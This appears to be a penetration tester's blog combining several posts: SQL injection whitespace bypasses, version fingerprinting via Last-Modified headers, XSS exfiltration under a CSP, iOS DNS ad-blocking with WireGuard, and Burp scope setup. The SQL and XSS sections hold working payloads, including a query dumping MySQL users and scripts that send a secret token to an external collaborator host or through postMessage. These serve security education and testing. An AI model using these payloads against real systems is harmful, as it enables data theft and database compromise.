Common Bypasses

SQL injection references often recommend SQL comments to replace whitespace:

SELECT/*avoid-spaces*/password/**/FROM/**/Members

A Bracketing Technique

Parentheses can also separate parts of a query without spaces. The previous example can be rewritten as:

(SELECT(password))FROM(Members)

Example

During a penetration test, I encountered a host that rewrote URL parameters and effectively blocked spaces. I used an error-based SQL injection payload with an XPath expression and the bracketing technique:

index'AND'1'=(extractvalue(rand(),concat(0x3a,(select(substr(group_concat(user),1,10))from(mysql.user)))))AND'1'='1"

The bracketing technique can be combined with other encodings and injection payloads when spaces or comments are restricted.

Last-Modified

Modern web servers commonly cache JavaScript, CSS, and image files. The Last-Modified header tells clients when the origin believes a resource was last changed. See MDN’s Last-Modified header reference.

Look for a static file belonging to the software under investigation and inspect its Last-Modified response header.

Example: Tiki Wiki CMS

I tried to find the Tiki Wiki version through generator metadata, source comments, a ?v parameter, and other techniques without success. Then I noticed that the target returned an unusually old Last-Modified value:

Using Google’s after:YYYY-MM-DD search operator, I searched specifically for vulnerabilities and exploits published after that deployment date:

The target turned out to be vulnerable to the matching exploit. Alternatively, Google’s custom date-range tool can help identify release notes and estimate a software version compatible with the Last-Modified date:

Happy hacking ;)

Scenario

• An XSS vulnerability exists in the g GET parameter.
• The page uses the following CSP, which blocks external resource loads:

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *.andresr.de;

• A secret token is stored in a <div id="secret"> element.

XSS Data Exfiltration Attempts

An image request is blocked by the policy:

Quick win: Using document.location

A redirect can send the token to an external endpoint, but it must run after the page has loaded the element containing the token. An immediate redirect can fail because the element is not present yet:

A short timeout allows the DOM to load first:

http://app.local:8080/?g=<script>setTimeout(()=>{document.location='http://burp.oastify.com/?c='%2bdocument.getElementById('secret').textContent},1);</script>

This approach is simple, but another technique can be useful when a redirect is not suitable. PortSwigger’s Web Security Academy covers controlling the source of web messages. The window.parent property provides a reference to an iframe’s parent window.

The Creative Way: postMessage() to the Parent Window

The approach is to:

1. Create an empty iframe.
2. Register a MessageEvent handler on the parent page.
3. Load the vulnerable page in the iframe after the handler is registered.
4. From the injected script, send the secret value to window.parent with postMessage() after the vulnerable page’s DOM has loaded.

Example parent page:

<html>
  <body>
    <iframe id="target" src=""></iframe>
    <script>
      window.addEventListener(
        "message",
        (event) => {
          console.log(event);
        },
        false
      );
      var target = document.getElementById("target");

      setTimeout(() => {
        target.src =
          "http://app.local:8080/?g=%3Cscript%3EsetTimeout(()=%3E{window.parent.postMessage(document.getElementById(%27secret%27).textContent,%22*%22)},1);%3C/script%3E";
      }, 3);
    </script>
  </body>
</html>

The message handler receives the token from the iframe’s child window:

Takeaway

Cross-document messaging was added to the HTML standard relatively late; its first HTML5 draft appeared in 2008 (the draft specification). It is worth understanding how this mechanism works and how it can be abused in an XSS context.

A restrictive CSP frame-ancestors directive can help defend against clickjacking and iframe-based exploitation. See MDN’s documentation on frame-ancestors.

The quirks of local VPN interfaces on an iPhone

While examining VPN apps, I noticed that WireGuard for iOS supports custom VPN configurations with DNS servers. A connection to a remote VPN server is not needed to apply a local DNS configuration.

You can create a local VPN profile in WireGuard, set AdGuard public DNS as its DNS server, and use it to block ads on the device.

WireGuard Setup

Install WireGuard from the App Store. Open the app, tap +, and choose Create from scratch.

Name the profile, generate a key pair, and enter these AdGuard public DNS resolvers as the DNS servers, separated by a comma:

94.140.14.14, 94.140.15.15

Save the profile. It should look like this:

Turning On Cellular DNS AdBlocking

Enable the newly created interface either in WireGuard or with the VPN switch in the iOS Settings app:

The Result

Some apps serve ads from separate domains, so DNS blocking can prevent those requests. YouTube and other apps that serve ads from their own domains may not be affected.

The following shows an example in a BPM counter app:

After enabling the VPN toggle, the ad is blocked, even on a cellular connection:

I hope you enjoy ad-free iOS apps with this simple solution.

Setting up Advanced Scope Control

Open a new temporary Burp project and go to Target > Scope. Enable Use advanced scope control.

To configure a general wildcard whitelist, go to Include in scope, click Add, and click OK without entering any values:

When prompted, select Yes to enable out-of-scope items to be logged to history and other Burp tools:

Optional: Firefox Background Request Filter

Firefox makes background requests to hosts such as detectportal.firefox.com. To keep these out of the scope view, add the following entries under Exclude from scope:

.*\.firefox\.com$
.*\.mozilla\.org$

Setting up the Site Map and HTTP History Views

In Target > Site map, click Show all, then select Show only in-scope items, Show only requested items, and Hide empty folders. Click Apply & close:

In Proxy > HTTP history, click Show all, select Show only in-scope items, and click Apply & close:

Final Steps

Right-click any target you want to exclude from scope. The filter then applies across the configured traffic views:

New hosts remain in scope instead of being silently filtered, which avoids overlooking unknown hosts during testing.

Saving the Configuration

Save the project settings to a file so you can reuse this configuration:

Load the saved settings when creating a new Burp project:

This restores the configured traffic filters and advanced target scope settings.